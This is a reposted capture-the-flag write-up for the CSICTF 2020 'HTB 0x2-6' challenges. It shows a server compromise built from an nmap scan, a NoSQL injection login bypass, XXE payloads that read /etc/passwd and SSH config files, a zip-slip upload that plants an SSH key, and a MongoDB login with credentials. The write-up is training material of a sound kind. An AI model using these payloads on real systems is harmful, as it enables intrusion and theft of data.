HTB 0x[2-6]

发表于 2021-01-09 分类于 Challenge， 2020， CSICTF， Linux
Challenge | 2020 | CSICTF | Linux | HTB 0x[2-6]

点击此处获得更好的阅读体验

WriteUp来源

https://dunsp4rce.github.io/csictf-2020/linux/2020/07/22/HTB-0x-2-6.html

by `INXS_JOY` and `shreyas-sriram`

题目描述

题目考点

解题思路

> *Welcome to the interesting part of the csiCTF, HTB. xD*

HTB 0x2

- *This is a HackTheBox-like challenge, the server's `IP address` is given*
- *Run a simple port scan using `nmap`*

```
1 $ nmap -sC -sV 34.93.215.188 -Pn
```

- *This reveals the following open ports*

```
1 22/tcp    open       ssh
2 3000/tcp  open       http
```

- *Notice `http port 3000`*
- *Visiting http://34.93.215.188:3000/, we see a login form*
- *Trying `SQL Injection (SQLi)`, nothing happens (although another vulnerability exists - `XSS`)*
- *Then trying `NoSQL Injection`, we are logged in successfully*

Payload

```
1 # Use in POST parameter
2 username[$ne]=f4ke&password[$ne]=fl4g
```

- *Visiting `/robots.txt`, we see `/admin` is disallowed*
- *Visit `/admin` and get the flag `csictf{n0t_4ll_1nj3ct10n5_4re_SQLi}` in the source code*

HTB 0x5

- *As seen in write-up HTB 0x2, there is an `/admin` page*
- *This page is vulnerable to `XML External Entity (XXE) Injection`*
- *The vulnerability can be confirmed by using the `XXE detection payload`*

```
1 <?xml version="1.0" encoding="ISO-8859-1"?>
2 <!DOCTYPE foo [
3   <!ELEMENT foo ANY >
4   <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
5 <foo>&xxe;</foo>
```

- *We get the `/etc/passwd` file which contains a GitHub link*

```
root:root:x:0:0:root:/root:/bin/bash
...
...
...
gke-dbbca0b7b97e65e155bf:x:1004:1005::/home/gke-dbbca0b7b97e65e155bf:/bin/bash
csictf:x:1005:1006:csictf,csictf,csictf,csictf,csictf:/home/csictf:/bin/bash
administrator:x:1006:1007:administrator,admin,admin,admin,admin:/home/administrator:/bin/bash
https://gist.github.com/sivel/c68f601137ef9063efd7
```

- *The GitHub link is about using a `custom ssh configuration`, this hints us to check the `sshd_config` file*
- *Obtain `sshd_config` by exploiting the `XXE Injection` vulnerability in `/admin`*

Payload

```
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///etc/ssh/sshd_config" >]>
<foo>&xxe;</foo>
```

- *Find the flag commented out in the obtained file*

```
...
# csictf{cu5t0m_4uth0rizat10n}
AuthorizedKeysCommand /usr/local/bin/userkeys.sh
AuthorizedKeysCommandUser nobody
...
```

HTB 0x3,0x4,0x6

- *As seen in write-up HTB 0x5, we get the following contents from the sshd_config file.*

```
# This is the sshd server system-wide configuration file. See
# sshd_config(5) for more information.
# This sshd was compiled with PATH=/usr/bin:/bin:/usr/sbin:/sbin
# The strategy used for options in the default sshd_config shipped with
# OpenSSH is to specify options with their default value where
# possible, but leave them commented. Uncommented options override the
# default value.
Include /etc/ssh/sshd_config.d/*.conf
#Port 22
#AddressFamily any
#ListenAddress 0.0.0.0
#ListenAddress ::
#HostKey /etc/ssh/ssh_host_rsa_key
#HostKey /etc/ssh/ssh_host_ecdsa_key
#HostKey /etc/ssh/ssh_host_ed25519_key
# Ciphers and keying
#RekeyLimit default none
# Logging
#SyslogFacility AUTH
#LogLevel INFO
# Authentication:
#LoginGraceTime 2m
#PermitRootLogin prohibit-password
#StrictModes yes
#MaxAuthTries 6
#MaxSessions 10
#PubkeyAuthentication yes
# Expect .ssh/authorized_keys2 to be disregarded by default in future.
#AuthorizedKeysFile\t.ssh/authorized_keys .ssh/authorized_keys2
#AuthorizedPrincipalsFile none
# csictf{cu5t0m_4uth0rizat10n}
AuthorizedKeysCommand /usr/local/bin/userkeys.sh
AuthorizedKeysCommandUser nobody
# For this to work you will also need host keys in /etc/ssh/ssh_known_hosts
#HostbasedAuthentication no
# Change to yes if you don't trust ~/.ssh/known_hosts for
# HostbasedAuthentication
#IgnoreUserKnownHosts no
# Don't read the user's ~/.rhosts and ~/.shosts files
#IgnoreRhosts yes
# To disable tunneled clear text passwords, change to no here!
PasswordAuthentication no
#PermitEmptyPasswords no
# Change to yes to enable challenge-response passwords (beware issues with
```

```
# some PAM modules and threads)
ChallengeResponseAuthentication no
# Kerberos options
#KerberosAuthentication no
#KerberosOrLocalPasswd yes
#KerberosTicketCleanup yes
#KerberosGetAFSToken no
# GSSAPI options
#GSSAPIAuthentication no
#GSSAPICleanupCredentials yes
#GSSAPIStrictAcceptorCheck yes
#GSSAPIKeyExchange no
# Set this to 'yes' to enable PAM authentication, account processing,
# and session processing. If this is enabled, PAM authentication will
# be allowed through the ChallengeResponseAuthentication and
# PasswordAuthentication. Depending on your PAM configuration,
# PAM authentication via ChallengeResponseAuthentication may bypass
# the setting of \"PermitRootLogin without-password\".
# If you just want the PAM account and session checks to run without
# PAM authentication, then enable this but set PasswordAuthentication
# and ChallengeResponseAuthentication to 'no'.
UsePAM yes
#AllowAgentForwarding yes
#AllowTcpForwarding yes
#GatewayPorts no
X11Forwarding yes
#X11DisplayOffset 10
#X11UseLocalhost yes
#PermitTTY yes
PrintMotd no
#PrintLastLog yes
#TCPKeepAlive yes
#PermitUserEnvironment no
#Compression delayed
#ClientAliveInterval 0
#ClientAliveCountMax 3
#UseDNS no
#PidFile /var/run/sshd.pid
#MaxStartups 10:30:100
#PermitTunnel no
#ChrootDirectory none
#VersionAddendum none
# no default banner path
#Banner none
# Allow client to pass locale environment variables
AcceptEnv LANG LC_*
# override default of no subsystems
Subsystem\tsftp\t/usr/lib/openssh/sftp-server
# Example of overriding settings on a per-user basis
#Match User anoncvs
#\tX11Forwarding no
#\tAllowTcpForwarding no
#\tPermitTTY no
#\tForceCommand cvs server"
```

Lets focus on `AuthorizedKeysCommand` *right below the previous flag in the config file,*

```
#AuthorizedPrincipalsFile none
# csictf{cu5t0m_4uth0rizat10n}
AuthorizedKeysCommand /usr/local/bin/userkeys.sh
AuthorizedKeysCommandUser nobody
```

Hmm, seems like they are using a custom check for authorizing the users. Wish we could read what is in the /usr/local/bin/userkeys.sh. Oh yes, we have that xml vulnerability. Lets use that to get the contents of the file.

Using this payload for xml injection,

```
<?xml version="1.0"?><!DOCTYPE root [<!ENTITY test SYSTEM 'file:///usr/local/bin/userkeys.sh'>]><root>&test;</root>
```

Let's beautify the content,

```
#!/bin/bash
if [ \"$1\" == \"csictf\" ]; then
        cat /home/administrator/uploads/keys/*
else
        echo \"\"
fi
```

So as per the code, when we try to ssh to the IP, the user we try to ssh into is passed as $1(argument 1) to the sh file. If the user we try to ssh into is csictf (i.e if $1==csictf), then it will check if our public key exists in the list of keys present in /home/administrator/uploads/keys/. All these inferences were drawn by looking into the functioning of ssh.

So our aim is simple, we need to put our public key into the /home/administrator/uploads/key folder. So we go back to the uploading zip file location. The upload function has the [Zip Slip Vulnerability]

```
$ ssh-keygen -t rsa     #filename:my_key
$ 7z a zip-slip.zip my_key.pub
$ 7z rn zip-slip.zip my_key.pub '../../../../../../../../../../home/administrator/uploads/keys/dunsp4rce.pub'
```

So we first generate out private and public keys using the command `ssh-keygen -t rsa` and name our key file `my_key`.

Next we download the zip-slip.zip from the zip-slip repo mentioned above into the directory which has our keys. Now we append our public key to the zip file using `7z a zip-slip.zip my_key.pub`.

We then rename the file to the folder we want to put our file to(vulnerability) `7z rn zip-slip.zip my_key.pub '../../../../../../../../../../home/administrator/uploads/keys/dunsp4rce.pub`. Since all the key are getting searched in /home/administrator/uploads/keys folder, we put our public key there.

You should get {"success":"true"} after uploading the zip to the server. The pub key seems to stay in the server for 5 mins before it gets deleted(cron job), so ssh into server before 5 mins of uploading public key.

Now that the hard part of adding our public key is done, we just have to ssh into csictf user `ssh -i my_key csictf@34.93.37.238` and voila `"We are in boissss!"`,

It's almost cakewalk after this. We find a flag.txt in the home folder of csictf user, `csictf{w3lc0m3_t0_th3_s3rv3r}`

After greping for "csictf" from ~/ , I found the flag `csictf{exp0s3d_sec23ts}` in /home/administrator/website/models/db.js.

Right below the flag in db.js , we find a mongodb connection url, we connect to that url using, `mongo "mongodb://web:9EAC744765EA6F26@34.93.215.188:27017/HTBDB"`

Then we check the list of databases available using `db` command. We find a HTBDB database, switch to it using `use HTBDB`.

List the collections in the db using `show collections`. We find three collections: stuff, user,users. We read all the documents in the collection stuff using `db.stuff.find()`. In one the documents, we find the flag `csictf{m0ng0_c0llect10ns_yay}`

Flag

```
csictf{n0t_4ll_1nj3ct10n5_4re_SQLi}
csictf{cu5t0m_4uth0rizat10n}
csictf{w3lc0m3_t0_th3_s3rv3r}
csictf{exp0s3d_sec23ts}
csictf{m0ng0_c0llect10ns_yay}
```


 # Challenge # 2020 # Linux # CSICTF
Where Am I
HTB 0x01